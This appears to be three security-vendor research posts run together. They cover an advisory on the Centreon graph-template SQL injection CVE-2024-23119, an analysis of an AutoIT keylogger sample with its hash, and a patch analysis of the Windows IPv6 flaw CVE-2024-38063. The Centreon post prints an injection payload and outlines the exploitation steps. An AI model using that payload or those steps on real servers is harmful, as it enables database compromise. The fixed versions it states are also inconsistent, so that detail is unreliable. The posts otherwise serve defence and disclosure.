Overview

The SonicWall Capture Labs threat research team became aware of the threat CVE-2024-23119, assessed its impact and developed mitigation measures for this vulnerability.

CVE-2024-23119 is a high-severity SQL Injection vulnerability in Centreon, impacting Centreon Web versions prior to 22.10.17, 23.04.13, and 23.10.5. Centreon is a widely used network, system and application monitoring tool. This issue resides within the insertGraphTemplate function, which fails to properly validate user inputs before incorporating them into SQL queries. As a result, authenticated attackers can execute arbitrary SQL commands, potentially gaining control over the database and executing code within the context of the service account. The vulnerability is categorized with a CVSS base score of 8.8, reflecting a high risk due to its potential impact on confidentiality, integrity and availability. The exploit prediction scoring system (EPSS) estimates a 0.07% chance of exploitation in the next 30 days, indicating it is less likely but still notable. This vulnerability was initially reported by Zero Day Initiative (ZDI) as ZDI-CAN-22339 and has been addressed in Centreon Web versions 22.10.15, 23.04.10, and 23.10.1. For further details and mitigation, refer to the advisory provided by ZDI and the Centreon GitHub repository.

Technical Overview

CVE-2024-23119 stems from an SQL Injection issue occurring during the creation of graph templates. Centreon utilizes a web interface that communicates over HTTP/HTTPS. The vulnerability is identified in the formGraphTemplate.php and insertGraphTemplateInDB() functions, which are executed through main.get.php (see Figure 1). The core issue arises from inadequate validation and sanitization of specific request parameters that are used to construct SQL queries.

Figure 1: Code Snippet from ‘main.get.php’

When a graph template is created, an HTTP POST request is sent to main.get.php with parameters including p, o and submitA. The formGraphTemplate.php script processes these parameters and invokes the insertGraphTemplateInDB() function (see Figure 2), which then calls insertGraphTemplate().

Figure 2: Code Snippet from ‘formGraphTemplate.php’

In this function, an SQL query is constructed to insert data into the giv_graphs_template table. While some parameters are sanitized, others like lower_limit, upper_limit, size_to_max, default_tpl1, and scaled are directly incorporated into the SQL query without proper sanitization (see Figure 3). This lack of sanitization permits attackers to inject arbitrary SQL commands.

Figure 3: Code snippet from ‘insertgraphTemplate() in DB-Func.php’

Exploiting this SQL Injection vulnerability allows a remote, authenticated attacker to craft malicious requests to the server, leading to potential data leakage, data corruption or full control over the database. This vulnerability highlights the importance of rigorous input validation and the use of parameterized queries to prevent such critical security issues in web applications.

Triggering the Vulnerability

• Send Malicious POST Requests: An attacker can trigger the vulnerability by sending a specially crafted HTTP POST request to the Centreon web interface. This request must include malicious SQL payloads in parameters that are not properly sanitized.
• Exploit Unsanitized Parameters: The vulnerability arises from insufficient input validation in the lower_limit, upper_limit, size_to_max, default_tpl1, and scaled An attacker can trigger this vulnerability by injecting SQL commands into these parameters when creating or modifying graph templates.
• Access via Graph Template Interface: The attack must be executed through the graph template creation or modification interface, specifically by setting the request parameter p to “20404” and other relevant parameters to trigger the vulnerable code path.
• Authenticated Access Required: The attacker must have authenticated access to the Centreon web interface. This means the attacker needs to log in and have the appropriate permissions to create or modify graph templates to exploit this vulnerability effectively.

Exploitation

Exploiting CVE-2024-23119 involves a series of methodical steps to leverage the SQL injection vulnerability in the Centreon web management interface., The attacker must first authenticate to the Centreon API by sending a POST request to the /api/latest/authentication/providers/configurations/local endpoint. This request includes a JSON payload with valid credentials to gain access to the server’s API.

Figure 4: CSRF Token

Next, the attacker retrieves a CSRF token from the /main.get.php?p=20404&o=a endpoint (see Figure 4), which is necessary for making authenticated requests. The CSRF token is extracted from the HTML response using a regular expression to ensure that subsequent interactions with the server are authorized. With the token in hand, the attacker crafts a malicious payload designed to exploit the SQL injection vulnerability. This payload is injected into specific fields, such as lower_limit, upper_limit, size_to_max, default_tpl1, or scaled, in a graph template creation request. For example, a crafted payload like 1′, NULL, 0, NULL, NULL, ‘0’, NULL, NULL); CREATE TABLE poc (id int); # could be used to create a new table named poc in the database.

Figure 5: Exploitation using SQL injection

Finally, the attacker sends the malicious request to the /main.get.php?p=20404 endpoint with the payload and necessary parameters, including the CSRF token. Upon successful execution of the payload, the attacker verifies the impact by checking the database for changes, such as the presence of the newly created table. This initial access can be leveraged for further exploitation, potentially leading to more severe consequences like data breaches or unauthorized access.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:

• IPS: 20295 Centreon main.get.php SQL Injection 9

Remediation Recommendations

The risks posed by this vulnerability can be mitigated or eliminated by:

• Upgrade to Centreon Web versions 22.10.15, 23.04.10, or 23.10.1
• Monitor and review system logs for suspicious activity.
• Utilize up-to-date IPS signatures to filter network traffic.
• Restrict user privileges and sanitize user inputs.

Relevant Links

• ZDI-24-113 | Zero Day Initiative
• National Vulnerability Database (NVD)
• Common Vulnerability Scoring System Calculation
• CWE-89: Improper Neutralization of Special Elements used in SQL Command
• Centreon Products

Summary

This week, the SonicWall Capture Labs threat research team observed an AutoIT-compiled executable that attempts to open Gmail login pages via MS Edge, Google Chrome and Mozilla Firefox. It has functionality to read clipboard data, capture keystrokes, run as different users, and restart or shutdown the system. The sample is also capable of detecting debuggers and blocking user input if one is detected, as well as directing control of keyboard and mouse events. It is imperative to be cautious when running files of unknown origin or with vague names such as “File.exe”.  SonicWall customers are protected in the daily update feed via the “MalAgent.AutoITBot” signature.

Technical Analysis

Using the Detect-It-Easy (DIE) tool to review a sample shows the malware as an AutoIT executable. Note the original name was “File.exe”.

Figure 1: DIE Sample detection

Multiple libraries are being imported with no data outside of ordinals identifying the related functions, as well as four separate networking libraries. This indicates the libraries have been obfuscated, and it can be seen by using the DIE tool in Figure 2.

Figure 2: Obfuscated libraries

Using the AutoITExtractor tool we can extract the script shown in Figure 3.  This allows us to see it has cleartext commands to find and launch each browser on a Google sign in page (accounts.google.com)

Figure 3: Extracted script contents

Statically analyzing the binary using a disassembler yields there are no hardcoded addresses that are known to be malicious. While the script has each browser attempt to access Google accounts, there are generic login links for Facebook, Reddit, and other major social media sites. While the browsers launch and execute, a separate function will set up a listening socket if the environment is correct and connectivity has been established as shown in Figure 4.

Figure 4: Socket option setup

The malware will call the standard WSAGetLastError Windows API, as seen during dynamic analysis, if the socket setup fails, as seen in Figure 5.

Figure 5: Socket bind operation (failed)

When the browsers are run, they create multiple processes using the following command line structure:

Figure 6: Browser command line commands

The first process creates a hidden, separate page in Firefox, while the second attempts to open the socket.

Once a connection is made, the functions for keylogging, screen capture and further file enumeration take place. This behavior was not observed during testing, however, and no connection was made by a C2 server.

SonicWall Protections

To ensure SonicWall customers are protected against this threat, the following signature has been released:

• MalAgent.AutoITBot

IOCs

File.exe

6a4d5fa1f240b1ea51164de317aa376bbc1bbddeb57df23238413c5c21ca9db0

Contributing Researchers: Soumy Das and Hasib Vhora

Overview

CVE-2024-38063 is a critical remote code execution vulnerability in Windows systems with the IPv6 stack, carrying a CVSS score of 9.8. This zero-click, wormable flaw allows attackers to execute arbitrary code remotely via specially crafted IPv6 packets, potentially leading to full system compromise. It affects Windows 10, Windows 11, and Windows Server systems. Microsoft has released patches to mitigate this vulnerability, and it is essential to apply these updates promptly to protect against exploitation. Given the critical nature of this vulnerability and its likely exploitation in the wild, SonicWall has proactively enhanced its firewall and RTDMI products with additional mitigations to protect systems, protecting cases where the patch has not yet been applied.

A Chinese researcher from Cyber KunLun discovered the vulnerability and publicly disclosed by Microsoft in its August 2024 Patch Tuesday release. Due to the simplicity with which an exploit could be crafted, Microsoft has urged users to apply the available patches immediately. Some security experts have incorrectly advised disabling IPv6. While Microsoft clarifies that disabling IPv6 can mitigate the vulnerability, it is not recommended due to potential issues with Windows functionality. Instead, Microsoft advises patching systems immediately.

SonicWall Protections

The SonicWall firewall protects against CVE-2024-38063 by blocking malicious IPv6 fragmented packets by default. This will still occur regardless of whether additional security services are configured, including if deep packet inspection (DPI) is enabled or disabled or if the firewall is configured to allow smaller IPv6 packets. The firewall drops the critical  packet involved in the exploit due to its fragment reassembly logic, which ensures that the packet never reaches the victim machine.  If an exploitation attempt is made, a log may be created depending on the firewall’s configuration showing “IPv6 fragment was dropped”.

Given the wormable nature of this vulnerability, there is a risk that it could be embedded in binaries sent over the network for later exploitation. We’ve strengthened our RTDMI sandboxing solution to safeguard our customers to detect and block Windows or Linux binaries carrying this exploit. This added layer of protection is crucial for identifying and preventing lateral movement and post-exploitation activities by threat actors, ensuring robust security even if some systems remain unpatched.

The Patch

By doing basic patch diffing with the help of Diaphora on the old and new versions of the tcpip.sys driver within Microsoft Windows, it is possible to determine the patch was added to the Ipv6pProcessOptions function.

The additional, conditional logic in the updated version introduces checks before executing IppSendErrorList. The vulnerability takes advantage of an out-of-bound write (OOB) by sending malformed Ipv6 packets. It forces packets to be written to an error list called IppSendErrorList to obtain the correct conditions. The new checks only add packets to the list after the data is validated. Otherwise, it only sends an error without adding the packets to the list memory structure. The patch prevents unintended behavior or exploitation by ensuring that the functions `IppSendError` or `IppSendErrorList` are only called under appropriate conditions, reducing the risk of incorrect or malicious data being processed. This indicates that the vulnerable code likely still exists but is more complicated or potentially impossible to leverage.